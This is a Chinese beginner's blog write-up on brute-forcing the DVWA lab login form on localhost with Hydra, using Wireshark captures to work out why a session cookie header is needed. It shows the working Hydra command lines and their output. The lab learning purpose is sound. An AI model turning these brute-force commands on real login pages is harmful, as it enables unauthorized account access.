剛剛開始學(xué)習(xí)web安全, 在本地機器上搭建了dvwa測試環(huán)境, 開始brute force的測試。
下面是通過瀏覽器顯示出來的html代碼
Username and/or password incorrect.
通過下方的鏈接http://hiderefer.com/?http://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29提供了兩個暴力美學(xué)破解的工具, 由于本機環(huán)境是linux, 很自然的選擇hydra(hydra是九頭蛇的意思, 一般看到英文的軟件名字, 如果不知道他的中文翻譯或者是哪幾個單詞的縮寫, 那么每次使用心里都會怪怪的)。
一開始認(rèn)為暴力破解很簡單, 就是提供一個用戶名和密碼(或者字典)給自動化工具, 然后就開始漫長的等待就行了, 所以也沒多想, 直接運行命令:
hydra -l admin -P password.txt ?127.0.0.1 http-get "/dvwa/vulnerabilities/brute/"
輸出的結(jié)果如下:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:23:55
[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking service http-get on port 80
[80][www] host: 127.0.0.1 login: admin password: aaaaa
[80][www] host: 127.0.0.1 login: admin password: password
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:23:56
發(fā)現(xiàn)密碼文件中的兩個提供的密碼都通過驗證了, 明顯不對。
第二次運行命令:
?hydra -l admin -P password.txt ?127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/"
運行結(jié)果:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:26:32
[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: (null)
這次直接報錯, 原諒我這是第一次使用Hydra這個工具, 第一次接觸暴力破解。
上google搜索了一下hydra的用法, 以及相關(guān)的資料, 第三次運行命令:
hydra -l admin -P password.txt -vV 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect."
輸出結(jié)果如下:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:30:07
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "aaaaa" - 1 of 2 [child 0]
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 2 of 2 [child 1]
[VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php
[VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php
[80][www-form] host: 127.0.0.1 login: admin password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[80][www-form] host: 127.0.0.1 login: admin password: aaaaa
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:30:17
oh, my god, 這個和第一次是一樣的。
然后開始對照是不是字母拼寫錯誤或者最后的失敗語句錯了, 在確定一切都沒錯之后開始邊懷疑這個工具的正確性邊開始google類似的問題, 期間還使用了fireforce這個工具試了一把, 結(jié)果也不太對。 這個時候已經(jīng)非常沮喪了, 處于崩潰的邊緣了......終于在backtrack論壇上發(fā)現(xiàn)了有人也是類似的問題, 后面有人回復(fù)說這個不是BasicAuthentication, 而是Form-based Authentication, 還有人說得用burp suite或者wireshark抓包看看真相是什么。 好吧, 由于沒有聽說過HTTP Authentication這個名詞, 趕緊去google一下, 還是OWASP的這篇文章https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29解答了我這方面的全部疑惑, 期間順便補充了一下Base64編碼的知識, 這些之前僅僅處于聽說過狀態(tài)。
由于沒有用過Burp Suite, 所以直接選擇了wireshark, 抓包分析。
在頁面上隨便輸入用戶名和密碼提交后, wireshark發(fā)現(xiàn)每次瀏覽器都會自動提交cookie:
GET /dvwa/vulnerabilities/brute/?username=admin&password=asdff&Login=Login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dvwa/vulnerabilities/brute/
Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4
Connection: keep-alive
之后通過wireshark抓包發(fā)現(xiàn)這個cookie是在使用瀏覽器登錄的時候就設(shè)置好的, 不同的瀏覽器cookie是不同的, 開始默認(rèn)的security= high, 當(dāng)修改安全級別后服務(wù)器會重新發(fā)送set-cookie 為low, 以后每次提交表單或者get 操作都要提交這個cookie, 負(fù)責(zé)服務(wù)器驗證是通不過的。
下面是重新使用google瀏覽器登錄dvwa, 服務(wù)器的response信息:
HTTP/1.1 302 Found
Date: Tue, 13 Aug 2013 15:55:30 GMT
Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: security=high
Location: ../../login.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
當(dāng)我們登錄成功后將安全等級提交為low后, 可以看到cookie的變化如下:
POST /dvwa/security.php HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 33
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/dvwa/security.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: security=high; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7
security=low&seclev_submit=SubmitHTTP/1.1 302 Found
Date: Tue, 13 Aug 2013 15:57:03 GMT
Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: security=low
Location: /dvwa/security.php
Content-Length: 0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html
GET /dvwa/security.php HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Referer: http://127.0.0.1/dvwa/security.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: security=low; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7
OK, 下面繼續(xù)進(jìn)行Hydra的命令操作, 第n次運行命令, 這個是使用的firefox瀏覽器:
?hydra -l admin -P password.txt ?127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4"
輸出如下:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-14 00:13:37
[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 127.0.0.1 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-14 00:13:37
可以看到這次的運行結(jié)果是正確的。 長舒一口氣之后陷入了迷惑中, 通過運行hydra -h或者是man hydra并沒有說有 :H這個說法, 上網(wǎng)google看到很多使用:C選項的, 這個工具到底怎么用, 什么時候使用:C 什么時候使用:H, google之后并沒有發(fā)現(xiàn)有人說怎么用, 沒辦法, 只能去看源代碼。 幸好是c語言的, 我的偏愛。
后來又經(jīng)過wireshark抓包分析,以及對比源代碼分析, 發(fā)現(xiàn):C指定的是cookie文件的路徑, 這個路徑是服務(wù)器上的路徑, 也就是說如果服務(wù)器上存放cookie的文件是/path/cookie, 那么就可以用:C=/path/cookie來指定hydra從服務(wù)器上獲取cookie, 然后自動添加到每次的get或者post的http header中, 如果像dvwa這樣沒有cookie的專門文件或者我們不知道cookie的存放文件, 那么就用:H來每次手動指定。
如果指定了:C=/path/cookie 那么每次hydra提交之前首先會去get /path/cookie 來得到cookie, 然后每次分析response返回的信息,自動將cookie添加到http 的header中。
:H其實是用來手動添加Header 域的, 比如上面的我們手動添加了 :H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4, 這其實是告訴hydra每次get或者post的時候要添加上這個:H后面的頭部的域。
通過大概的閱讀源代碼可以得知如果hydra捕獲了response中的set-cookie, 那么我們也不用每次手動添加cookie。
目前為止已經(jīng)基本弄明白了如何使用hydra來進(jìn)行http的brute force測試, 后面還會繼續(xù)嘗試hydra應(yīng)用于別的協(xié)議的暴力美學(xué)破解。
每天都有進(jìn)步的生活是值得期待的!